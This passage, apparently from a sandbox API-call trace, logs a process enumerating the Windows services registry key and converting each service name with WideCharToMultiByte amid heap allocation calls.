WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0224.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0224.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0224.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0224.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0224.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0224.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0224.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1cd0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0224.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0224.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1cd0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0224.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0224.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, 